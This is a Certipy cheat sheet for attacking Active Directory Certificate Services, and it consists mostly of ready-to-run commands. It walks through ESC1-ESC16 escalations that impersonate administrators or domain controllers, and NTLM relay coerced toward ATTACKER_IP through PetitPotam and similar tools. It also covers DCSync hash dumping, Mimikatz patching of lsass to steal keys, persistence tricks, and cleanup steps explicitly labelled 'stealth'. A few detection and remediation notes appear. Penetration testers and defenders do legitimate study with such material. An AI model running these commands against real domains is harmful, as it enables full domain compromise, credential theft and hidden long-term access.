Certipy

The Certipy cheat sheet covers ADCS vulnerability enumeration and exploitation for ESC1-ESC16, account persistence (PERSIST1-3), domain persistence (DPERSIST1-3), certificate theft (THEFT1-5), shadow credentials, NTLM relay, PassTheCert, golden certificate forgery, and attack chains.

#Getting Started

#Installation

# Install via pip (recommended)
pip install certipy-ad

# Or from source (latest features)
git clone https://github.com/ly4k/Certipy
cd Certipy && pip install .

# Verify install
certipy --version

# Related tools
pip install impacket
git clone https://github.com/AlmondOffSec/PassTheCert
git clone https://github.com/dirkjanm/PKINITtools
git clone https://github.com/ShutdownRepo/pywhisker

#Core Commands

Command Purpose
find Enumerate ADCS - find vulnerable templates
req Request a certificate from CA
auth Authenticate with a certificate (PKINIT/Schannel)
relay Relay NTLM auth to HTTP or RPC enrollment
forge Forge certificates using CA private key
shadow Shadow Credentials via msDS-KeyCredentialLink
account Create/modify machine accounts for relay
template Read/modify certificate template attributes
ca CA management - backup, add officer, issue pending
cert Certificate format conversion utilities

#ESC Decision Tree

ADCS ESC Advisor (Certipy)

Start with recon, then answer each step to identify the right ADCS escalation path.

Run these commands to discover ADCS misconfigurations. The output tells you which step to pick below.

# Find vulnerable templates and CA misconfigs
certipy find -u [email protected] -p 'pass' -dc-ip DC_IP -vulnerable

# With NT hash (no cleartext password)
certipy find -u [email protected] -hashes :NTHASH -dc-ip DC_IP -vulnerable

# With Kerberos ticket
KRB5CCNAME=user.ccache certipy find -k -no-pass -dc-ip DC_IP -vulnerable

# Broader scan (all templates, not just vulnerable)
certipy find -u [email protected] -p 'pass' -dc-ip DC_IP -enabled

# Output files generated:
# - *_Certipy.txt   -> human-readable summary
# - *_Certipy.json  -> structured data for scripting
# - *.zip           -> BloodHound CE ingest
What to look for in the output:
ENROLLEE_SUPPLIES_SUBJECT-> ESC1 Any Purpose EKU / No EKU-> ESC2 Certificate Request Agent-> ESC3 Write access on template-> ESC4 EDITF_ATTRIBUTESUBJECTALTNAME2-> ESC6 ManageCA / ManageCertificates-> ESC7 Web Enrollment: Enabled-> ESC8 No Security Extension-> ESC9 Weak Certificate Mapping-> ESC10 ICPR without encryption-> ESC11 OID Group Link-> ESC13

#Quick Reference: Enumerate + Exploit Chain

#One-Liner Recon Chain

# Step 1: Full enumeration - outputs .txt, .json, and BloodHound zip
certipy find -u '[email protected]' -p 'Password1' \
  -dc-ip 192.168.1.10 -vulnerable -enabled

# Step 2: Identify which ESC applies (see decision tree below)
# Step 3: Request certificate with appropriate ESC exploit
certipy req -u '[email protected]' -p 'Password1' \
  -dc-ip 192.168.1.10 -ca 'domain-CA' \
  -template 'VulnerableTemplate' -upn '[email protected]'

# Step 4: Authenticate - get NT hash + TGT
certipy auth -pfx administrator.pfx -dc-ip 192.168.1.10

# Step 5: Lateral movement with NT hash
impacket-secretsdump -hashes ':NThash' 'domain.local/[email protected]'
nxc smb 192.168.1.10 -u administrator -H 'NThash' --ntds

# Bonus: also check for ESC16 (CA-wide disabled SID extension - Certipy >= 4.8.2)
certipy find -u '[email protected]' -p 'Password1' -dc-ip 192.168.1.10 -enabled
# In CA properties look for: Disabled Extensions: 1.3.6.1.4.1.311.25.2

# Persistence after escalation: enroll a long-lived cert under any compromised user
# (PERSIST1) - survives password resets, valid 1 year by default
certipy req -u '[email protected]' -hashes ':NThash' -ca 'CORP-CA' -template 'User'

# Domain persistence: backup the CA private key for offline forging (DPERSIST1)
certipy ca -backup -u '[email protected]' -hashes ':NThash' -ca 'CORP-CA'

#ESC Decision Table

ESC Condition Action
ESC1 Enrollee supplies subject + enrollment req -upn admin@domain
ESC2 Any Purpose / no EKU + enrollment Auth cert or enrollment agent
ESC3 Cert Request Agent EKU req -on-behalf-of
ESC4 Write on template object Modify to ESC1 conditions
ESC5 Write on CA/PKI AD objects PKI object takeover
ESC6 SAN flag enabled on CA req -upn on any template
ESC7a ManageCertificates on CA Approve pending requests
ESC7b ManageCA on CA Add officer + enable SAN
ESC8 HTTP enrollment + relay relay -ca http://CA/...
ESC9 No security ext + GenericWrite UPN spoof (no SID binding)
ESC10 Weak cert binding + GenericWrite UPN spoof (any template)
ESC11 RPC without encryption relay -target rpc://CA
ESC12 CA admin shell access ca -backup or DPAPI
ESC13 OID group link in template Enroll for group membership
ESC14 Write on altSecurityIdentities Add explicit X509 mapping to target
ESC15 v1 template + ENROLLEE_SUPPLIES_SUBJECT (CVE-2024-49019) req --application-policies
ESC16 CA disables szOID_NTDS_CA_SECURITY_EXT globally UPN spoof on any template (no SID ext)
PERSIST1-3 Long-lived user/machine cert + renewal req -template User, request-renew
DPERSIST1-3 CA key theft / NTAuth rogue / template backdoor ca -backup, forge, template weaken

#ESC Reference Table

#ESC1-ESC8

ESC Condition Certipy Command Hint Impact
ESC1 Template: ENROLLEE_SUPPLIES_SUBJECT + enrollment rights req -upn admin@domain DA impersonation
ESC2 Any Purpose EKU or no EKU + enrollment rights req -template AnyPurpose then use as agent Auth as any user
ESC3 Certificate Request Agent EKU + enrollment rights req then req -on-behalf-of -pfx agent.pfx Request certs for any user
ESC4 WriteProperty/WriteDACL/Owner on template object template (modify), then req -upn DA impersonation via template edit
ESC5 Write on CA object / PKI AD objects LDAP modification of CA/PKI container Full PKI compromise
ESC6 CA flag: EDITF_ATTRIBUTESUBJECTALTNAME2 req -upn admin@domain -template User DA impersonation on any template
ESC7 ManageCA or ManageCertificates ACE on CA ca -add-officer / ca -issue-request CA control / persistent access
ESC8 Web Enrollment (HTTP) + NTLM relay possible relay -ca http://CA/certsrv/... DC cert via NTLM relay

#ESC9-ESC13

ESC Condition Certipy Command Hint Impact
ESC9 CT_FLAG_NO_SECURITY_EXTENSION on template + GenericWrite on account shadow auto, account update -upn, req, revert UPN Account mapping bypass -> DA
ESC10 StrongCertificateBindingEnforcement=0 (or CertificateMappingMethods=4) + GenericWrite shadow auto, account update -upn, req -template User, revert Impersonate any user via weak binding
ESC11 RPC ICPR: IF_ENFORCEENCRYPTICERTREQUEST not set relay -target rpc://CA-IP -ca CA-NAME DC cert via RPC relay
ESC12 Shell access to CA server (local admin / DVPRIV) ca -backup or DPAPI extraction of CA key CA private key theft - golden cert
ESC13 Template issuance policy has OID group link (msDS-OIDToGroupLink) + enrollment rights req -template ESC13Template then auth Implicit group membership (linked group)
ESC14 Explicit UPN mapping (altSecurityIdentities) writeable Modify altSecurityIdentities, req cert, auth Account mapping override
ESC15 Schema v1 template + ENROLLEE_SUPPLIES_SUBJECT (CVE-2024-49019) req --application-policies 'Client Authentication' Inject EKU/policy on any v1 template
ESC16 CA-wide DisableExtensionList contains 1.3.6.1.4.1.311.25.2 account update -upn admin, req -template User, revert Enterprise-wide ESC9 (any template)

#Persistence Reference

ID Condition Tool Impact
PERSIST1 User has enroll on a client-auth template certipy req -template User Survive password reset (1 yr)
PERSIST2 SYSTEM/admin on machine + Machine template enroll certipy req -template Machine Machine persistence (2-5 yrs) + S4U2self
PERSIST3 Existing valid cert in renewal window Certify.exe request-renew Indefinite cert lifetime, no password
DPERSIST1 Admin on Enterprise CA / CA private key access ca -backup, certipy forge Golden Cert - forge any user offline
DPERSIST2 Write on CN=NTAuthCertificates,... (EA / ESC5) certutil -dspublish -f rogue.crt NTAuthCA Rogue CA trusted forest-wide
DPERSIST3 Write on a certificate template (ESC4) certipy template (apply ESC1 preset) Persistent ESC1 backdoor template

#ESC1 - Client Supplied SAN

#ESC1 Exploit

# Conditions: CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT set, enrollment rights granted
# Certipy output shows: "[!] Vulnerabilities: ESC1"

# Request cert with arbitrary UPN (impersonate admin)
certipy req -u '[email protected]' -p 'Password1' \
  -dc-ip 192.168.1.10 \
  -ca 'domain-CA-NAME' \
  -template 'VulnerableTemplate' \
  -upn '[email protected]'
# Output: administrator.pfx

# With hash instead of password
certipy req -u '[email protected]' -hashes ':NThash' \
  -dc-ip 192.168.1.10 -ca 'domain-CA-NAME' \
  -template 'VulnerableTemplate' -upn '[email protected]'

# Specify DNS SAN for machine account impersonation
certipy req -u '[email protected]' -p 'Password1' \
  -dc-ip 192.168.1.10 -ca 'domain-CA-NAME' \
  -template 'VulnerableTemplate' \
  -dns 'dc.domain.local'

# Authenticate
certipy auth -pfx administrator.pfx -dc-ip 192.168.1.10
# Returns: NT hash + administrator.ccache

#ESC1 Detection

Indicator Event / Source
Cert subject != requester Event 4887: RequesterName != SubjectName
SAN contains admin UPN Event 4886: Certificate Request with SAN field
Unusual template usage Event 4887: unexpected template for user account type
PKINIT as admin from non-admin host Event 4768: TGT request with cert, unusual source

#ESC2 & ESC3 - EKU Abuse

#ESC2 - Any Purpose EKU

# ESC2: template has Any Purpose or no EKU
# Step 1: Request the any-purpose cert
certipy req -u '[email protected]' -p 'Password1' \
  -dc-ip 192.168.1.10 -ca 'domain-CA-NAME' \
  -template 'AnyPurposeTemplate'
# user.pfx can now be used as enrollment agent cert

# Step 2: Use it to request on behalf of admin
certipy req -u '[email protected]' -p 'Password1' \
  -dc-ip 192.168.1.10 -ca 'domain-CA-NAME' \
  -template 'User' \
  -on-behalf-of 'domain\administrator' \
  -pfx user.pfx

#ESC3 - Enrollment Agent

# ESC3: requires two vulnerable templates
# Template A: Certificate Request Agent EKU
# Template B: allows enrollment agent to enroll on behalf

# Step 1: Get enrollment agent certificate
certipy req -u '[email protected]' -p 'Password1' \
  -dc-ip 192.168.1.10 -ca 'domain-CA-NAME' \
  -template 'ESC3-AgentTemplate'
# Output: user.pfx (enrollment agent cert)

# Step 2: Request cert on behalf of admin
certipy req -u '[email protected]' -p 'Password1' \
  -dc-ip 192.168.1.10 -ca 'domain-CA-NAME' \
  -template 'User' \
  -on-behalf-of 'domain\administrator' \
  -pfx user.pfx
# Output: administrator.pfx

# Step 3: Authenticate
certipy auth -pfx administrator.pfx -dc-ip 192.168.1.10

#ESC4 - Template Write Access

#ESC4 Full Workflow

# ESC4: attacker has WriteProperty/WriteDACL/Owner on template AD object
# Certipy shows: "Permissions: [Write]"

# Step 1: Save current template config (backup for cleanup)
certipy template -u '[email protected]' -p 'Password1' \
  -dc-ip 192.168.1.10 \
  -template 'VulnerableTemplate' \
  -save-old
# Output: VulnerableTemplate.json

# Step 2: Modify template to enable ENROLLEE_SUPPLIES_SUBJECT (makes it ESC1)
certipy template -u '[email protected]' -p 'Password1' \
  -dc-ip 192.168.1.10 \
  -template 'VulnerableTemplate'

# Step 3: Request cert as administrator (ESC1 flow)
certipy req -u '[email protected]' -p 'Password1' \
  -dc-ip 192.168.1.10 -ca 'domain-CA' \
  -template 'VulnerableTemplate' \
  -upn '[email protected]'

# Step 4: Restore template to original state (stealth)
certipy template -u '[email protected]' -p 'Password1' \
  -dc-ip 192.168.1.10 \
  -template 'VulnerableTemplate' \
  -configuration VulnerableTemplate.json

#ESC6 - CA SAN Flag

#ESC6 Exploit

# ESC6: CA has EDITF_ATTRIBUTESUBJECTALTNAME2 set
# Certipy shows: "User Specified SAN: Enabled"
# Works on ANY template (even User), not just misconfigured ones

certipy req -u '[email protected]' -p 'Password1' \
  -dc-ip 192.168.1.10 \
  -ca 'domain-CA-NAME' \
  -template 'User' \
  -upn '[email protected]'

certipy auth -pfx administrator.pfx -dc-ip 192.168.1.10

#ESC6a vs ESC6b (BloodHound edges)

Variant Trigger Target Notes
ESC6a CA-wide EDITF_ATTRIBUTESUBJECTALTNAME2 set on the CA registry User templates (UPN/mail SAN) Any cert request can include arbitrary SAN regardless of template flags. Patched by KB5014754 unless combined with ESC9/ESC16.
ESC6b Same flag, but DC also has StrongCertificateBindingEnforcement = 0/1 Computer templates (dNSHostName SAN) Allows machine impersonation including DCs. BH edge: ADCSESC6b.
# ESC6b: target a Machine template with arbitrary dNSHostName SAN
certipy req -u '[email protected]' -p 'Password1' \
  -dc-ip 192.168.1.10 -ca 'domain-CA-NAME' \
  -template 'Machine' -dns 'dc01.domain.local' \
  -sid 'S-1-5-21-...-1001'   # DC$ SID for KB5014754
certipy auth -pfx dc01.pfx -dc-ip 192.168.1.10

#ESC6 Check & Remediation

# Check CA flag (on CA server)
certutil -getreg CA\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\EditFlags

# Disable the flag (remediation)
certutil -setreg CA\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
net stop certsvc && net start certsvc

#ESC7 - CA Officer / Manager Rights

#ESC7 - ManageCertificates (Issue Pending)

# ESC7a: Have ManageCertificates right on CA
# Step 1: Request a cert that requires manager approval (goes Pending)
certipy req -u '[email protected]' -p 'Password1' \
  -dc-ip 192.168.1.10 -ca 'domain-CA-NAME' \
  -template 'SubCA'
# Output: Request ID (e.g., 12)

# Step 2: Issue the pending request using ManageCertificates
certipy ca -u '[email protected]' -p 'Password1' \
  -dc-ip 192.168.1.10 -ca 'domain-CA-NAME' \
  -issue-request 12

# Step 3: Retrieve the issued certificate
certipy req -u '[email protected]' -p 'Password1' \
  -dc-ip 192.168.1.10 -ca 'domain-CA-NAME' \
  -retrieve 12

# Step 4: Authenticate
certipy auth -pfx user.pfx -dc-ip 192.168.1.10

#ESC7 - ManageCA (Add Officer)

# ESC7b: Have ManageCA right - add yourself as CA officer then abuse ManageCertificates

# Step 1: Add current user as CA officer
certipy ca -u '[email protected]' -p 'Password1' \
  -dc-ip 192.168.1.10 -ca 'domain-CA-NAME' \
  -add-officer 'user'

# Step 2: Enable EDITF_ATTRIBUTESUBJECTALTNAME2 on the CA (now you have ESC6)
certipy ca -u '[email protected]' -p 'Password1' \
  -dc-ip 192.168.1.10 -ca 'domain-CA-NAME' \
  -enable-flag EDITF_ATTRIBUTESUBJECTALTNAME2

# Alternative: use ManageCA to enable SubCA template issuance
# Then follow ESC7a workflow above

#ESC8 - NTLM Relay to HTTP Enrollment

#ESC8 Full Workflow

# ESC8: Web Enrollment (HTTP certsrv) active + NTLM relay possible
# Goal: relay DC machine account auth to get DC certificate

# Step 1: Start Certipy relay listener
certipy relay \
  -ca 'http://CA-SERVER/certsrv/certfnsh.asp' \
  -template 'DomainController'
# Listens on 0.0.0.0:445

# Step 2 (separate terminal): Coerce DC to authenticate to attacker
# Option A - PetitPotam (MS-EFSR)
python3 PetitPotam.py -u 'user' -p 'Password1' ATTACKER_IP DC_IP

# Option B - Coercer (multiple protocols)
coercer coerce -l ATTACKER_IP -t DC_IP -d domain.local -u user -p Password1

# Option C - PrinterBug (MS-RPRN, no auth needed in some configs)
python3 SpoolSample.py DC_IP ATTACKER_IP

# Step 3: Certipy catches relay, issues certificate
# Output: dc.pfx

# Step 4: Auth as DC machine account -> DCSync
certipy auth -pfx dc.pfx -dc-ip 192.168.1.10
# Get DC NT hash, then:
impacket-secretsdump -hashes ':NThash' 'domain.local/[email protected]'

#ESC8 HTTP vs RPC Variants

Variant Target Tool Flag Detection
ESC8 HTTP http://CA/certsrv/certfnsh.asp relay -ca http://... Event 4624 logon type 3 on CA
ESC8 HTTPS https://CA/certsrv/certfnsh.asp relay -ca https://... TLS NTLM relay (less common)
ESC11 RPC ICPR MS-ICPR RPC interface relay -target rpc://CA-IP Event 4624 on CA from DC

#ESC9 - No Security Extension

#ESC9 Conditions & Exploit

Conditions:
  1. Template has CT_FLAG_NO_SECURITY_EXTENSION (msPKI-Enrollment-Flag includes 0x80000)
  2. Attacker has GenericWrite (or equivalent) over another domain account (proxy account)
  3. StrongCertificateBindingEnforcement != 2  (0 or 1)
  4. Attacker can enroll in the template

Attack chain: inject shadow creds into proxy account -> spoof UPN -> request cert -> revert UPN -> auth
# ESC9: The no_security_extension flag means the issued cert has no SID binding extension
# Without SID in cert, Windows maps the cert to account by UPN only -> spoof possible

# Step 1: Get NT hash of proxy account (the one you have GenericWrite on)
# Inject shadow credential into proxy account (requires write on msDS-KeyCredentialLink)
certipy shadow auto \
  -u '[email protected]' -p 'Password1' \
  -account 'proxyuser' \
  -dc-ip 192.168.1.10
# Output: proxyuser.pfx + NT hash of proxyuser

# Step 2: Change proxy account's UPN to match target (administrator)
certipy account update \
  -u '[email protected]' -p 'Password1' \
  -user 'proxyuser' \
  -upn 'administrator' \
  -dc-ip 192.168.1.10

# Step 3: Request cert as proxyuser from ESC9 template
# Use NT hash from shadow auto step
certipy req \
  -u '[email protected]' -hashes ':NTHashOfProxyUser' \
  -ca 'domain-CA-NAME' \
  -template 'ESC9Template' \
  -dc-ip 192.168.1.10
# Output: administrator.pfx (UPN = administrator, no SID binding)

# Step 4: Revert proxy account UPN to original (stealth)
certipy account update \
  -u '[email protected]' -p 'Password1' \
  -user 'proxyuser' \
  -upn '[email protected]' \
  -dc-ip 192.168.1.10

# Step 5: Authenticate as administrator
certipy auth -pfx administrator.pfx -domain domain.local -dc-ip 192.168.1.10

#ESC9a vs ESC9b (BloodHound edges)

ESC9 splits into two BloodHound edges depending on whether the spoofed identity is a user (UPN) or a computer (dNSHostName).

Variant Spoof attribute Victim Target BH edge
ESC9a userPrincipalName User account with GenericWrite Any user (e.g. Administrator) ADCSESC9a
ESC9b dNSHostName (and clear SPNs) Computer account you control / created via MAQ Any computer (e.g. DC01$) -> DCSync ADCSESC9b
# ESC9b - computer variant (impersonate DC$ via dNSHostName binding)
# 1. Create or take over a machine account (MachineAccountQuota)
certipy account create -u '[email protected]' -p 'Password1' \
  -user 'PWNED$' -pass 'MachinePass1' -dc-ip 192.168.1.10

# 2. Clear SPNs to avoid duplicate SPN error after dNSHostName change
certipy account update -u '[email protected]' -p 'Password1' \
  -user 'PWNED$' -spns '' -dc-ip 192.168.1.10

# 3. Set dNSHostName to victim DC FQDN
certipy account update -u '[email protected]' -p 'Password1' \
  -user 'PWNED$' -dns 'dc01.domain.local' -dc-ip 192.168.1.10

# 4. Enroll on a Machine template with NO_SECURITY_EXTENSION
certipy req -u '[email protected]' -p 'MachinePass1' \
  -ca 'CORP-CA' -target ca.domain.local \
  -template 'ESC9-MachineTemplate' -dc-ip 192.168.1.10

# 5. Restore dNSHostName (cleanup)
certipy account update -u '[email protected]' -p 'Password1' \
  -user 'PWNED$' -dns 'pwned.domain.local' -dc-ip 192.168.1.10

# 6. Authenticate as DC01$ -> DCSync
certipy auth -pfx dc01.pfx -dc-ip 192.168.1.10

#ESC9 Detection

Indicator Details
UPN modification events Event 4738: user account changed, UPN field modified
Shadow credential write Event 4662: object modification on msDS-KeyCredentialLink
Cert issued with no SID ext Missing szOID_NTDS_CA_SECURITY_EXT in issued cert
Auth mismatch Event 4768: PKINIT TGT for admin from unexpected account

#ESC10 - Weak Certificate Mapping

#ESC10a vs ESC10b (BloodHound edges)

Variant Weak setting Auth path BH edge
ESC10a StrongCertificateBindingEnforcement = 0 (Kdc) Kerberos PKINIT, UPN spoof on user ADCSESC10a
ESC10b CertificateMappingMethods includes 0x4 (Schannel) LDAPS / Schannel, dNSHostName spoof on computer ADCSESC10b

ESC10b is exploited via Schannel auth instead of PKINIT. Use certipy auth -pfx machine.pfx -ldap-shell or PassTheCert. Common target: DC computer accounts (yields LDAP-as-DC$ -> RBCD / membership writes).

#ESC10 Case 1: StrongCertificateBindingEnforcement=0 (ESC10a)

# ESC10 Case 1: Registry key StrongCertificateBindingEnforcement = 0 on DC
# Key: HKLM\SYSTEM\CurrentControlSet\Services\Kdc\StrongCertificateBindingEnforcement
# Value 0 = disabled (no SID check), 1 = audit, 2 = enforced
# Attack is identical to ESC9 but works with ANY template (not just no_security_extension ones)

# Step 1: Shadow auto on proxy account
certipy shadow auto \
  -u '[email protected]' -p 'Password1' \
  -account 'proxyuser' \
  -dc-ip 192.168.1.10

# Step 2: Spoof proxy UPN to administrator
certipy account update \
  -u '[email protected]' -p 'Password1' \
  -user 'proxyuser' \
  -upn 'administrator' \
  -dc-ip 192.168.1.10

# Step 3: Request from standard User template (no special template needed)
certipy req \
  -u '[email protected]' -hashes ':NTHashOfProxyUser' \
  -ca 'domain-CA-NAME' -template 'User' \
  -dc-ip 192.168.1.10

# Step 4: Revert UPN
certipy account update \
  -u '[email protected]' -p 'Password1' \
  -user 'proxyuser' -upn '[email protected]' \
  -dc-ip 192.168.1.10

# Step 5: Authenticate
certipy auth -pfx administrator.pfx -domain domain.local -dc-ip 192.168.1.10

#ESC10 Case 2: CertificateMappingMethods=4 (ESC10b / Schannel)

# ESC10 Case 2: CertificateMappingMethods includes UPN flag (bit 2 = 0x4)
# Key: HKLM\SYSTEM\CurrentControlSet\Services\Kdc\CertificateMappingMethods
# Value includes 0x4 -> UPN mapping enabled -> same UPN spoofing attack applies
# Check on DC: reg query HKLM\SYSTEM\CurrentControlSet\Services\Kdc /v CertificateMappingMethods

# Same attack chain as Case 1, but may work even when StrongCertificateBindingEnforcement = 1
# Target: machine accounts (Schannel/LDAPS mapping) instead of PKINIT in some configs

# Step 1-3 identical to Case 1
# For machine account impersonation (GenericWrite on computer object):
certipy account update \
  -u '[email protected]' -p 'Password1' \
  -user 'TARGETPC$' \
  -upn 'administrator' \
  -dc-ip 192.168.1.10

certipy req \
  -u '[email protected]' -hashes ':NTHashOfMachineAccount' \
  -ca 'domain-CA-NAME' -template 'Machine' \
  -dc-ip 192.168.1.10

certipy account update \
  -u '[email protected]' -p 'Password1' \
  -user 'TARGETPC$' \
  -upn '[email protected]' \
  -dc-ip 192.168.1.10

certipy auth -pfx administrator.pfx -domain domain.local -dc-ip 192.168.1.10

# ESC10b Schannel auth (LDAPS shell as the spoofed identity)
certipy auth -pfx dc01.pfx -dc-ip 192.168.1.10 -ldap-shell
# From the shell:
#   set_rbcd dc01 attacker$           # configure RBCD on DC
#   add_user_to_group user "Domain Admins"
#   change_password user 'NewPass1!'

# Alternative Schannel client (PassTheCert)
python3 passthecert.py \
  -action ldap-shell \
  -crt user.crt -key user.key \
  -domain domain.local -dc-ip 192.168.1.10

#ESC11 - NTLM Relay to ICPR (RPC)

#ESC11 Full Workflow

# ESC11: CA RPC interface (MS-ICPR / ICertPassage) does not enforce encryption
# Check: IF_ENFORCEENCRYPTICERTREQUEST flag NOT set on CA
# Certipy shows: "Enforce Encryption for Requests: Disabled"
# Unlike ESC8 (HTTP), this targets the RPC/DCOM enrollment interface directly

# Verify flag (on CA server as admin):
certutil -getreg CA\InterfaceFlags
# If IF_ENFORCEENCRYPTICERTREQUEST (0x200) is absent -> vulnerable

# Step 1: Start Certipy RPC relay listener
certipy relay \
  -target 'rpc://CA-SERVER-IP' \
  -ca 'domain-CA-NAME' \
  -template 'DomainController'
# Listens on 0.0.0.0:445

# Step 2: Coerce DC NTLM authentication to attacker relay
coercer coerce \
  -l ATTACKER_IP -t DC_IP \
  -d domain.local -u user -p Password1

# Alternative coercion:
python3 PetitPotam.py -u user -p Password1 ATTACKER_IP DC_IP

# Step 3: Relay catches DC$ auth, CA issues certificate via RPC
# Output: dc.pfx

# Step 4: Authenticate as DC
certipy auth -pfx dc.pfx -dc-ip 192.168.1.10

# Step 5: DCSync
impacket-secretsdump \
  -hashes ':DCNTHash' \
  'domain.local/[email protected]'

# Remediate: enforce RPC encryption
certutil -setreg CA\InterfaceFlags +IF_ENFORCEENCRYPTICERTREQUEST
net stop certsvc && net start certsvc

#ESC13 Conditions & Exploit

Conditions:
  1. Certificate template has an issuance policy OID extension (msPKI-Certificate-Policy)
  2. The issuance policy object (msPKI-Enterprise-Oid) has msDS-OIDToGroupLink set
  3. Linked group must be Universal scope
  4. Current user has enrollment rights on the template
  5. No manager approval required

Effect: Authenticating with the issued certificate grants membership of the linked group
        in the Kerberos PAC even if the account is not a member - persistent and stealthy.
# Step 1: Enumerate - look for OID group link in certipy output
certipy find -u '[email protected]' -p 'Password1' \
  -dc-ip 192.168.1.10 -vulnerable -enabled
# Look for: "ESC13" and "Issuance Policies" sections
# Also look for msDS-OIDToGroupLink attributes on policy objects

# Step 2: Identify which group the OID links to
# In LDAP: check CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=...
# Attribute: msDS-OIDToGroupLink -> points to group DN
# Verify group is Universal and note its privileges

# Step 3: Enroll in the template (standard request)
certipy req -u '[email protected]' -p 'Password1' \
  -dc-ip 192.168.1.10 \
  -ca 'domain-CA-NAME' \
  -template 'ESC13Template'
# Output: user.pfx

# Step 4: Authenticate - TGT PAC will include linked group SID
certipy auth -pfx user.pfx -dc-ip 192.168.1.10
# The TGT now contains the linked group RID in the PAC
# If linked group = Domain Admins -> full DA access

# Step 5: Use ccache
export KRB5CCNAME=user.ccache
impacket-secretsdump -k -no-pass domain.local/[email protected]

#ESC13 Manual OID Enumeration

# Enumerate OID objects with group links via LDAP
ldapsearch -H ldap://DC_IP \
  -D '[email protected]' -w 'Password1' \
  -b 'CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local' \
  '(msDS-OIDToGroupLink=*)' dn msDS-OIDToGroupLink displayName

# Check group type (must be Universal = 0x8 in groupType)
ldapsearch -H ldap://DC_IP \
  -D '[email protected]' -w 'Password1' \
  -b 'DC=domain,DC=local' \
  '(distinguishedName=CN=PrivGroup,CN=Users,DC=domain,DC=local)' \
  groupType member

#Certificate Theft (THEFT1-THEFT5)

#Theft Techniques Overview

Technique Method Requires Tool
THEFT1 Export cert+key via Crypto API (Windows) Local admin or cert owner certutil, Mimikatz crypto::capi
THEFT2 DPAPI decryption - user certificate store Access to user DPAPI masterkeys SharpDPAPI, Mimikatz dpapi::
THEFT3 DPAPI decryption - machine certificate store SYSTEM / local admin SharpDPAPI /machine, Mimikatz
THEFT4 File/directory triage for .pfx/.p12/.key files File read access Manual, seatbelt, Snaffler
THEFT5 PKINIT to retrieve NTLM hash (U2U Kerberos) Valid certificate for the account certipy auth, getnthash.py

#THEFT1 - Crypto API Export

# On Windows: export cert if marked exportable
# Run in PowerShell on target
certutil -exportPFX -p "Password1" My <CertThumbprint> output.pfx

# If private key is non-exportable, patch CAPI in memory first (Mimikatz)
mimikatz # crypto::capi          # patches CryptoAPI in current process
mimikatz # crypto::certificates /export   # export all certs from personal store

# For CNG keys (newer), patch lsass instead
mimikatz # privilege::debug
mimikatz # crypto::cng           # patches CNG in lsass.exe
mimikatz # crypto::certificates /export /systemstore:LOCAL_MACHINE

#THEFT2 - DPAPI User Cert Decryption

# DPAPI protects private keys in user cert store
# Path: C:\Users\<user>\AppData\Roaming\Microsoft\Crypto\RSA\<SID>\
# Masterkeys: C:\Users\<user>\AppData\Roaming\Microsoft\Protect\<SID>\

# Option A: SharpDPAPI (from attacker with user DPAPI access)
SharpDPAPI.exe certificates

# Option B: Mimikatz with current user context
mimikatz # dpapi::capi /in:"C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\..."

# Option C: Impacket (offline with domain backup key)
impacket-dpapi masterkey \
  -file '/path/to/masterkey' \
  -pvk domain_backupkey.pvk
impacket-dpapi credential \
  -file '/path/to/cert_blob' \
  -masterkey <decrypted_key>

#THEFT3 - DPAPI Machine Cert Decryption

# Machine cert store private keys protected by machine DPAPI
# Requires SYSTEM / local admin

# SharpDPAPI with /machine flag (auto-escalates to SYSTEM, dumps DPAPI_SYSTEM)
SharpDPAPI.exe certificates /machine

# Mimikatz: dump machine DPAPI secret then decrypt
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # lsadump::secrets     # get DPAPI_SYSTEM key
mimikatz # dpapi::capi /in:"C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\..." \
           /masterkey:<hex_key>

# Certipy can export from LDAP Shadow Credentials (if you wrote the key credential)
# This avoids touching disk crypto entirely

#THEFT4 - File Triage

# Search for certificate files on file shares / endpoints
# Snaffler (from attacker in domain)
Snaffler.exe -s -o snaffler.log

# Manual PowerShell sweep
Get-ChildItem -Recurse -Include *.pfx,*.p12,*.pem,*.key,*.crt C:\ 2>$null

# Remote file triage via SMB
nxc smb TARGETS -u user -p pass -M spider_plus --share "C$"

# Common locations
# C:\inetpub\* - web server certs
# C:\Users\*\Desktop, Downloads
# C:\ProgramData\*
# SYSVOL / NETLOGON shares
# Git repos, configuration files

#THEFT5 - PKINIT Hash Recovery

# THEFT5: if you have a valid cert for a user, derive their NT hash
# Uses Kerberos User-to-User (U2U) PKINIT to recover NT hash without password

# Certipy method (simplest)
certipy auth -pfx user.pfx -dc-ip 192.168.1.10 -domain domain.local
# Certipy automatically requests TGT via PKINIT and then retrieves NT hash

# PKINITtools method (manual)
# Step 1: Get TGT using PKINIT
python3 gettgtpkinit.py \
  -cert-pfx user.pfx \
  domain.local/user user.ccache

# Step 2: Use TGT to get NT hash via U2U
export KRB5CCNAME=user.ccache
python3 getnthash.py \
  -key <AS-REP encryption key from step 1> \
  domain.local/user

#Authentication with Certificates

#PKINIT Authentication

# Standard PKINIT - returns NT hash + TGT ccache
certipy auth -pfx administrator.pfx -dc-ip 192.168.1.10

# Specify domain explicitly (required for non-domain-joined machines
# and when cert lacks domain info)
certipy auth -pfx administrator.pfx \
  -domain domain.local \
  -dc-ip 192.168.1.10

# Specify username if cert subject is ambiguous
certipy auth -pfx user.pfx \
  -username administrator \
  -domain domain.local \
  -dc-ip 192.168.1.10

# Schannel / LDAP shell (when PKINIT not supported by DC)
certipy auth -pfx administrator.pfx \
  -dc-ip 192.168.1.10 \
  -ldap-shell

# Use resulting TGT
export KRB5CCNAME=administrator.ccache
impacket-secretsdump -k -no-pass domain.local/[email protected]
nxc smb DC_IP -u administrator -H 'NThash'

#PKINIT Troubleshooting

Error Cause Fix
KDC_ERR_PADATA_TYPE_NOSUPP DC has no PKINIT cert (no Domain Controller Authentication EKU installed) Use -ldap-shell (Schannel) or passthecert.py instead
KRB_AP_ERR_SKEW Clock skew > 5 minutes between attacker and DC sudo ntpdate DC_IP or sudo timedatectl set-ntp true
KDC_ERR_CLIENT_NOT_TRUSTED Cert not trusted by DC CA chain / wrong cert Verify CA cert chain; use -domain flag; check cert validity dates
